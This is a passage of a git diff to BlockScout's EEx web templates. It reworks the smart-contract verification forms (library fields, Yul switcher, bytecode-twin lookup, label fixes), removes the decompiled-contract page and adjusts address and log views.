<% end %> <% end %> <% end %> - <%= if smart_contract_verified && @address.smart_contract.is_changed_bytecode do %> - <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %> + <%= if smart_contract_verified do %> + <%= if @address.smart_contract.is_changed_bytecode do %> + <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %> + <% else %> +
+ <%= render BlockScoutWeb.CommonComponentsView, "_changed_bytecode_warning.html" %> +
+ <% end %> <% end %> - <%= if smart_contract_verified || (!smart_contract_verified && metadata_for_verification) do %> - <% target_contract = if smart_contract_verified, do: @address.smart_contract, else: metadata_for_verification %> - <%= if @address.smart_contract.partially_verified && smart_contract_verified do %> + <%= if smart_contract_verified || (!smart_contract_verified && bytecode_twin_contract) do %> + <% target_contract = if smart_contract_verified, do: @address.smart_contract, else: bytecode_twin_contract %> + <%= if @address.smart_contract && @address.smart_contract.verified_via_sourcify && @address.smart_contract.partially_verified && smart_contract_verified do %>
<%= gettext "Compiler version" %>
@@ -90,7 +96,7 @@

<%= gettext "Constructor Arguments" %>

-
<%= raw(format_constructor_arguments(target_contract, @conn)) %>
+              
<%= format_constructor_arguments(target_contract, @conn) %>
               
@@ -98,9 +104,22 @@
><%= target_contract.contract_source_code %>
         
@@ -117,18 +136,35 @@ <% end)%> -
-
-

<%= gettext "Contract ABI" %>

- -
-
-
<%= format_smart_contract_abi(target_contract.abi) %>
-            
-
-
+ <%= if !is_nil(target_contract.compiler_settings) do %> +
+
+

<%= gettext "Compiler Settings" %>

+ +
+
+
<%= format_smart_contract_abi(target_contract.compiler_settings) %>
+              
+
+
+ <% end %> + + <%= if !is_nil(target_contract.abi) do %> +
+
+

<%= gettext "Contract ABI" %>

+ +
+
+
<%= format_smart_contract_abi(target_contract.abi) %>
+              
+
+
+ <% end %> <% end %>
@@ -155,27 +191,21 @@ - <%= if match?({:selfdestructed, _}, contract_creation_code) do %> -
- <%= gettext("Verify & Publish") %> -
- <% else %> - <%= if !fully_verified do %> - <% path = address_verify_contract_path(@conn, :new, @address.hash) %> - <%= link( - gettext("Verify & Publish"), - to: path, - class: "button button-primary button-sm float-right ml-3", - "data-test": "verify_and_publish" - ) %> - <% end %> + <%= if !fully_verified do %> + <% path = address_verify_contract_path(@conn, :new, @address.hash) %> + <%= link( + gettext("Verify & Publish"), + to: path, + class: "button button-primary button-sm float-right ml-3", + "data-test": "verify_and_publish" + ) %> <% end %>
<%= creation_code(@address) %>
- <% end %> + <% end %> <%= if fully_verified do %>

<%= gettext "Deployed ByteCode" %>

@@ -192,20 +222,14 @@ - <%= if match?({:selfdestructed, _}, contract_creation_code) and !creation_code(@address) do %> -
- <%= gettext("Verify & Publish") %> -
- <% else %> - <%= if !fully_verified and !creation_code(@address) do %> - <% path = address_verify_contract_path(@conn, :new, @address.hash) %> - <%= link( - gettext("Verify & Publish"), - to: path, - class: "button button-primary button-sm float-right ml-3", - "data-test": "verify_and_publish" - ) %> - <% end %> + <%= if !fully_verified and !creation_code(@address) do %> + <% path = address_verify_contract_path(@conn, :new, @address.hash) %> + <%= link( + gettext("Verify & Publish"), + to: path, + class: "button button-primary button-sm float-right ml-3", + "data-test": "verify_and_publish" + ) %> <% end %>
@@ -216,15 +240,15 @@ <% end %> - <%= if smart_contract_verified || (!smart_contract_verified && metadata_for_verification) do %> - <% target_contract = if smart_contract_verified, do: @address.smart_contract, else: metadata_for_verification %> + <%= if smart_contract_verified || (!smart_contract_verified && bytecode_twin_contract) do %> + <% target_contract = if smart_contract_verified, do: @address.smart_contract, else: bytecode_twin_contract %> <%= if target_contract.external_libraries && target_contract.external_libraries != [] do %>

<%= gettext "External libraries" %>

-
<%= raw(format_external_libraries(target_contract.external_libraries, @conn)) %>
+              
<%= format_external_libraries(target_contract.external_libraries, @conn) %>
               
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification/new.html.eex index 0a9f89f2ca55..c8969a8eaa77 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification/new.html.eex @@ -127,3 +127,4 @@
+ diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex index fd98aaf149e9..bd2a179d80ee 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex @@ -1,6 +1,6 @@
- <%= label @f, :compiler_version, gettext("Compiler") %> + <%= label :smart_contract, :compiler_version, gettext("Compiler") %>
<%= select @f, :compiler_version, @compiler_versions, class: "form-control border-rounded", "aria-describedby": "compiler-help-block", id: "smart_contract_compiler_version" %> <%= error_tag @f, :compiler_version, id: "compiler-help-block", class: "text-danger form-error" %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex index fcc2109fc373..c269a84e79a1 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex @@ -1,17 +1,17 @@
- <%= label @f, "Try to fetch constructor arguments automatically" %> + <%= label @f, :autodetect_constructor_args, gettext("Try to fetch constructor arguments automatically") %>
<%= radio_button @f, :autodetect_constructor_args, false, class: "form-check-input autodetectfalse" %>
- <%= label :autodetect_constructor_args, :false, gettext("No"), class: "radio-text" %> + <%= label @f, :autodetect_constructor_args_false, gettext("No"), class: "radio-text" %>
<%= radio_button @f, :autodetect_constructor_args, true, class: "form-check-input autodetecttrue", "aria-describedby": "autodetect_constructor_args-help-block" %>
- <%= label :autodetect_constructor_args, :true, gettext("Yes"), class: "radio-text" %> + <%= label @f, :autodetect_constructor_args_true, gettext("Yes"), class: "radio-text" %>
<%= error_tag @f, :autodetect_constructor_args, id: "autodetect_constructor_args-help-block", class: "text-danger form-error" %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex index 275de35cbec9..c452549a7069 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex @@ -1,21 +1,21 @@
-
- <%= label @f, "Include nightly builds" %> -
-
-
- <%= radio_button @f, :nightly_builds, false, checked: true, class: "form-check-input nightly-builds-false" %> -
- <%= label :nightly_builds, :false, gettext("No"), class: "radio-text" %> -
-
- <%= radio_button @f, :nightly_builds, true, class: "form-check-input nightly-builds-true", "aria-describedby": "nightly_builds-help-block" %> -
- <%= label :nightly_builds, :true, gettext("Yes"), class: "radio-text" %> -
-
- <%= error_tag @f, :nightly_builds, id: "nightly_builds-help-block", class: "text-danger form-error" %> +
+ <%= label @f, :nightly_builds, gettext("Include nightly builds") %> +
+
+
+ <%= radio_button @f, :nightly_builds, false, checked: true, class: "form-check-input nightly-builds-false" %> +
+ <%= label @f, :nightly_builds_false, gettext("No"), class: "radio-text" %> +
+
+ <%= radio_button @f, :nightly_builds, true, class: "form-check-input nightly-builds-true", "aria-describedby": "nightly_builds-help-block" %> +
+ <%= label @f, :nightly_builds_true, gettext("Yes"), class: "radio-text" %>
-
Select yes if you want to show nightly builds.
+
+ <%= error_tag @f, :nightly_builds, id: "nightly_builds-help-block", class: "text-danger form-error" %>
+
<%= gettext("Select yes if you want to show nightly builds.") %>
+
\ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_libraries_other.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_libraries_other.html.eex new file mode 100644 index 000000000000..0397ede7fd6a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_libraries_other.html.eex @@ -0,0 +1,7 @@ +<%= for library_index <- 2..Application.get_env(:block_scout_web, :contract)[:verification_max_libraries] do %> +
+ <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", index: library_index %> + + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", index: library_index %> +
+<% end %> \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex index 4f44f6ea0d8a..914518876a72 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex @@ -1,9 +1,10 @@ +<% library_address = "library" <> to_string(@index) <> "_address" |> String.to_atom() %>
-
- <%= label :external_libraries, @library, gettext("Library Address") %> +
+ <%= label :external_libraries, library_address, gettext("Library") <> " " <> to_string(@index) <> " " <> gettext("Address") %>
- <%= text_input :external_libraries, @library_address, class: "form-control border-rounded", "aria-describedby": "contract-name-help-block" %> + <%= text_input :external_libraries, library_address, class: "form-control border-rounded", "aria-describedby": "contract-name-help-block" %>
<%= if assigns[:tooltip_text] do @tooltip_text end %>
-
+
\ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex new file mode 100644 index 000000000000..b49583eb9a17 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex @@ -0,0 +1,11 @@ +
+ <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", + index: 1, + tooltip_text: gettext("A library name called in the .sol file. Multiple libraries (up to ") <> to_string(Application.get_env(:block_scout_web, :contract)[:verification_max_libraries]) <> gettext(") may be added for each contract. Click the Add Library button to add an additional one.") + %> + + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", + index: 1, + tooltip_text: gettext "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." + %> +
\ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex index 3bd50019614f..fc15114a6294 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex @@ -1,9 +1,10 @@ +<% library_name = "library" <> to_string(@index) <> "_name" |> String.to_atom() %>
-
- <%= label :external_libraries, @library, gettext("Library Name") %> -
- <%= text_input :external_libraries, @library_name, class: "form-control border-rounded", "aria-describedby": "contract-name-help-block" %> -
-
<%= if assigns[:tooltip_text] do @tooltip_text end %>
-
+
+ <%= label :external_libraries, library_name, gettext("Library") <> " " <> to_string(@index) <> " " <> gettext("Name") %> +
+ <%= text_input :external_libraries, library_name, class: "form-control border-rounded", "aria-describedby": "contract-name-help-block" %> +
+
<%= if assigns[:tooltip_text] do @tooltip_text end %>
+
\ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex new file mode 100644 index 000000000000..b77093a0b3e4 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex @@ -0,0 +1,21 @@ +
+
+ <%= label @f, :is_yul, gettext("Is Yul contract") %> +
+
+
+ <%= radio_button @f, :is_yul, false, class: "form-check-input autodetectfalse" %> +
+ <%= label @f, :is_yul_false, gettext("No"), class: "radio-text" %> +
+
+ <%= radio_button @f, :is_yul, true, class: "form-check-input autodetecttrue", "aria-describedby": "is_yul-help-block" %> +
+ <%= label @f, :is_yul_true, gettext("Yes"), class: "radio-text" %> +
+
+ <%= error_tag @f, :is_yul, id: "is_yul-help-block", class: "text-danger form-error" %> +
+
<%= gettext("Select Yes if you want to verify Yul contract.") %>
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex index f7233652054d..4c622137d15f 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex @@ -1,6 +1,6 @@ -<% metadata_for_verification = if assigns[:retrying], do: nil, else: Chain.get_address_verified_twin_contract(@address_hash).verified_contract %> +<% metadata_for_verification = if assigns[:retrying], do: nil, else: SmartContract.get_address_verified_bytecode_twin_contract(@address_hash) %> <% changeset = (if assigns[:retrying], do: @changeset, else: SmartContract.merge_twin_contract_with_changeset(metadata_for_verification, @changeset)) |> SmartContract.address_to_checksum_address() %> -<% fetch_constructor_arguments_automatically = if metadata_for_verification, do: true, else: changeset.changes.autodetect_constructor_args %> +<% fetch_constructor_arguments_automatically = if metadata_for_verification, do: true, else: changeset.changes[:autodetect_constructor_args] || true %> <% display_constructor_arguments_text_area = if fetch_constructor_arguments_automatically, do: "none", else: "block" %>
<%= render BlockScoutWeb.CommonComponentsView, "_channel_disconnected_message.html", text: gettext("Connection Lost") %> @@ -15,6 +15,10 @@ <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_contract_address_field.html", f: f %> + <%= if RustVerifierInterface.enabled?() do %> + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_yul_contracts_switcher.html", f: f %> + <% end %> + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_contract_name_field.html", f: f, tooltip: gettext "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name." %> <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_include_nightly_builds_field.html", f: f %> @@ -23,7 +27,7 @@
- <%= label :evm_version, :evm_version, gettext("EVM Version") %> + <%= label f, :evm_version, gettext("EVM Version") %>
<%= select f, :evm_version, @evm_versions, class: "form-control border-rounded", "aria-describedby": "evm-version-help-block" %>
@@ -33,7 +37,7 @@
- <%= label f, "Optimization" %> + <%= label f, :optimization, gettext("Optimization") %>
@@ -55,7 +59,7 @@
">
- <%= label f, :name, gettext("Optimization runs") %> + <%= label f, :optimization_runs, gettext("Optimization runs") %>
<%= text_input f, :optimization_runs, class: "form-control border-rounded", "aria-describedby": "optimization-runs-help-block", "data-test": "optimization-runs" %>
@@ -85,43 +89,9 @@

<%= gettext "Contract Libraries" %>

-
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", - library: :library1, - library_name: :library1_name, - tooltip_text: gettext "A library name called in the .sol file. Multiple libraries (up to 5) may be added for each contract. Click the Add Library button to add an additional one." - %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", - library: :library1, - library_address: :library1_address, - tooltip_text: gettext "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." - %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library2, library_name: :library2_name %> + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_first.html" %> - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library2, library_address: :library2_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library3, library_name: :library3_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library3, library_address: :library3_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library4, library_name: :library4_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library4, library_address: :library4_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library5, library_name: :library5_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library5, library_address: :library5_address %> -
+ <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_libraries_other.html" %>
<%= gettext "Add Library" %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex index f2bdbffd4344..ee72a6295ae0 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex @@ -2,7 +2,7 @@ <%= render BlockScoutWeb.CommonComponentsView, "_channel_disconnected_message.html", text: gettext("Connection Lost") %>
-

<%= gettext "New Smart Contract Verification" %>

+

<%= gettext "New Smart Contract Verification via metadata JSON" %>

<%= form_for @changeset, address_contract_verification_path(@conn, :create), [id: "metadata-json-dropzone-form"], @@ -16,7 +16,7 @@
<%= gettext("Drop sources and metadata JSON file or click here") %> - <%= error_tag f, :file, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %> + <%= error_tag f, :files, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %>
@@ -47,3 +47,4 @@ <% end %>
+ diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex index 85e7d38055ed..bd60af3a5b34 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex @@ -1,10 +1,10 @@ -<% metadata_for_verification = if assigns[:retrying], do: nil, else: Chain.get_address_verified_twin_contract(@address_hash).verified_contract %> +<% metadata_for_verification = if assigns[:retrying], do: nil, else: SmartContract.get_address_verified_bytecode_twin_contract(@address_hash) %> <% changeset = (if assigns[:retrying], do: @changeset, else: SmartContract.merge_twin_contract_with_changeset(metadata_for_verification, @changeset)) |> SmartContract.address_to_checksum_address() %>
<%= render BlockScoutWeb.CommonComponentsView, "_channel_disconnected_message.html", text: gettext("Connection Lost") %>
-

<%= gettext "New Solidity Smart Contract Verification" %>

+

<%= if RustVerifierInterface.enabled?(), do: gettext("New Solidity/Yul Smart Contract Verification"), else: gettext("New Solidity Smart Contract Verification") %>

<%= form_for changeset, address_contract_verification_path(@conn, :create), @@ -19,7 +19,7 @@
- <%= label :evm_version, :evm_version, gettext("EVM Version") %> + <%= label f, :evm_version, gettext("EVM Version") %>
<%= select f, :evm_version, @evm_versions, class: "form-control border-rounded", "aria-describedby": "evm-version-help-block" %>
@@ -29,18 +29,18 @@
- <%= label f, "Optimization" %> + <%= label f, :optimization, gettext("Optimization") %>
<%= radio_button f, :optimization, false, class: "form-check-input optimization-false" %>
- <%= label :smart_contract_optimization, :false, gettext("No"), class: "radio-text" %> + <%= label f, :optimization_false, gettext("No"), class: "radio-text" %>
<%= radio_button f, :optimization, true, class: "form-check-input optimization-true", "aria-describedby": "optimization-help-block" %>
- <%= label :smart_contract_optimization, :true, gettext("Yes"), class: "radio-text" %> + <%= label f, :optimization_true, gettext("Yes"), class: "radio-text" %>
<%= error_tag f, :optimization, id: "optimization-help-block", class: "text-danger form-error" %> @@ -51,7 +51,7 @@
">
- <%= label f, :name, gettext("Optimization runs") %> + <%= label f, :optimization_runs, gettext("Optimization runs") %>
<%= text_input f, :optimization_runs, class: "form-control border-rounded", "aria-describedby": "optimization-runs-help-block", "data-test": "optimization-runs" %>
@@ -60,16 +60,16 @@
- +
<%= gettext("Drop sources or click here") %> - <%= error_tag f, :file, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %> + <%= error_tag f, :files, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %>
-
<%= gettext "Drop all Solidity contract source files into the drop zone." %>
+
<%= if RustVerifierInterface.enabled?(), do: gettext("Drop all Solidity or Yul contract source files into the drop zone."), else: gettext("Drop all Solidity contract source files into the drop zone.") %>
@@ -79,43 +79,9 @@

<%= gettext "Contract Libraries" %>

-
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", - library: :library1, - library_name: :library1_name, - tooltip_text: gettext "A library name called in the .sol file. Multiple libraries (up to 5) may be added for each contract. Click the Add Library button to add an additional one." - %> + <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_first.html" %> - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", - library: :library1, - library_address: :library1_address, - tooltip_text: gettext "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." - %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library2, library_name: :library2_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library2, library_address: :library2_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library3, library_name: :library3_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library3, library_address: :library3_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library4, library_name: :library4_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library4, library_address: :library4_address %> -
- -
- <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_name.html", library: :library5, library_name: :library5_name %> - - <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_library_address.html", library: :library5, library_address: :library5_address %> -
+ <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_libraries_other.html" %>
<%= gettext "Add Library" %> @@ -147,3 +113,4 @@ <% end %>
+ diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex index e86c15880e60..7a80dfeb7634 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex @@ -1,16 +1,16 @@ -<% metadata_for_verification = Chain.get_address_verified_twin_contract(@address_hash).verified_contract %> +<% metadata_for_verification = SmartContract.get_address_verified_bytecode_twin_contract(@address_hash) %> <% changeset = (if assigns[:retrying], do: @changeset, else: SmartContract.merge_twin_contract_with_changeset(metadata_for_verification, @changeset)) |> SmartContract.address_to_checksum_address() %> -<% fetch_constructor_arguments_automatically = if metadata_for_verification, do: true, else: changeset.changes.autodetect_constructor_args %> +<% fetch_constructor_arguments_automatically = if metadata_for_verification, do: true, else: changeset.changes[:autodetect_constructor_args] || true %> <% display_constructor_arguments_text_area = if fetch_constructor_arguments_automatically, do: "none", else: "block" %>
<%= render BlockScoutWeb.CommonComponentsView, "_channel_disconnected_message.html", text: gettext("Connection Lost") %>
-

<%= gettext "New Smart Contract Verification" %>

+

<%= gettext "New Smart Contract Verification via Standard input JSON" %>

<%= form_for changeset, address_contract_verification_path(@conn, :create), [id: "standard-json-dropzone-form"], - fn f -> %> + fn f -> %> <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_contract_address_field.html", f: f %> <%= render BlockScoutWeb.AddressContractVerificationCommonFieldsView, "_contract_name_field.html", f: f, tooltip: "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name. Also contract name could be: path/to/file.sol:MyContract" %> @@ -26,7 +26,7 @@
<%= gettext("Drop the standard input JSON file or click here") %> - <%= error_tag f, :file, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %> + <%= error_tag f, :files, id: "file-help-block", class: "text-danger form-error", style: "max-width: 600px;" %>
@@ -61,3 +61,4 @@ <% end %>
+ diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex index 4b07896c63a6..9d78e6b87e21 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex @@ -1,4 +1,4 @@ -<% metadata_for_verification = Chain.get_address_verified_twin_contract(@address_hash).verified_contract %> +<% metadata_for_verification = SmartContract.get_address_verified_bytecode_twin_contract(@address_hash) %> <% changeset = (if assigns[:retrying], do: @changeset, else: SmartContract.merge_twin_vyper_contract_with_changeset(metadata_for_verification, @changeset)) |> SmartContract.address_to_checksum_address() %>
<%= render BlockScoutWeb.CommonComponentsView, "_channel_disconnected_message.html", text: gettext("Connection Lost") %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_decompiled_contract/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_decompiled_contract/index.html.eex deleted file mode 100644 index 7ab239233639..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_decompiled_contract/index.html.eex +++ /dev/null @@ -1,33 +0,0 @@ -
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> - - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> -
- <%= render BlockScoutWeb.AddressView, "_tabs.html", address: @address, is_proxy: is_proxy, conn: @conn %> - <% contract = last_decompiled_contract_version(@address.decompiled_smart_contracts) %> - <%= if contract do %> -
-

<%= gettext "Decompiler version" %>

-
-
<%= contract.decompiler_version %>
-
-
-
-
-

<%= gettext "Decompiled contract code" %>

- -
-
-
<%= raw(highlight_decompiled_code(contract.decompiled_source_code)) %>
-
-
-
- <% else %> -
- <%= gettext "There is no decompilded contracts for this address." %> -
- <% end %> -
-
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_internal_transaction/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_internal_transaction/index.html.eex index c3103928e187..fe847a2a14d3 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_internal_transaction/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_internal_transaction/index.html.eex @@ -1,7 +1,7 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
@@ -24,19 +24,19 @@
- <%= render BlockScoutWeb.CommonComponentsView, "_csv_export_button.html", address: Address.checksum(@address.hash), type: "internal-transactions", conn: @conn %> + <%= render BlockScoutWeb.CommonComponentsView, "_csv_export_button.html", address: Address.checksum(@address.hash), type: "internal-transactions", filter_type: :address, filter_value: @filter, conn: @conn %> <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "bottom", cur_page_number: "1", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %>
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_logs/_logs.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_logs/_logs.html.eex index 90d009f21434..9e213f9457f0 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_logs/_logs.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_logs/_logs.html.eex @@ -1,7 +1,7 @@
"> <% decoded_result = decode(@log, @log.transaction) %> <%= case decoded_result do %> - <%= {:error, :contract_not_verified, _cadidates} -> %> + <% {:error, :contract_not_verified, _candidates} -> %>
<%= gettext "To see accurate decoded input data, the contract must be verified." %> <%= case @log.transaction do %> @@ -27,46 +27,43 @@ ) %> - <%= case decoded_result do %> - <% {:error, :could_not_decode} -> %> -
<%= gettext "Decoded" %>
-
-
- <%= gettext "Failed to decode log data." %> -
- <% {:ok, method_id, text, mapping} -> %> -
<%= gettext "Decoded" %>
-
- - - - - - - - - -
Method Id0x<%= method_id %>
Call<%= text %>
- <%= render BlockScoutWeb.LogView, "_data_decoded_view.html", mapping: mapping %> - <% {:error, :contract_not_verified, results} -> %> - <%= for {:ok, method_id, text, mapping} <- results do %> -
<%= gettext "Decoded" %>
-
- - - - - - - - - -
Method Id0x<%= method_id %>
Call<%= text %>
- <%= render BlockScoutWeb.LogView, "_data_decoded_view.html", mapping: mapping %> -
+ <%= case decoded_result do %> + <% {:error, :could_not_decode} -> %> +
<%= gettext "Decoded" %>
+
+
+ <%= gettext "Failed to decode log data." %> +
+ <% {:ok, method_id, text, mapping} -> %> +
<%= gettext "Decoded" %>
+
+ + + + + + + + + +
Method Id0x<%= method_id %>
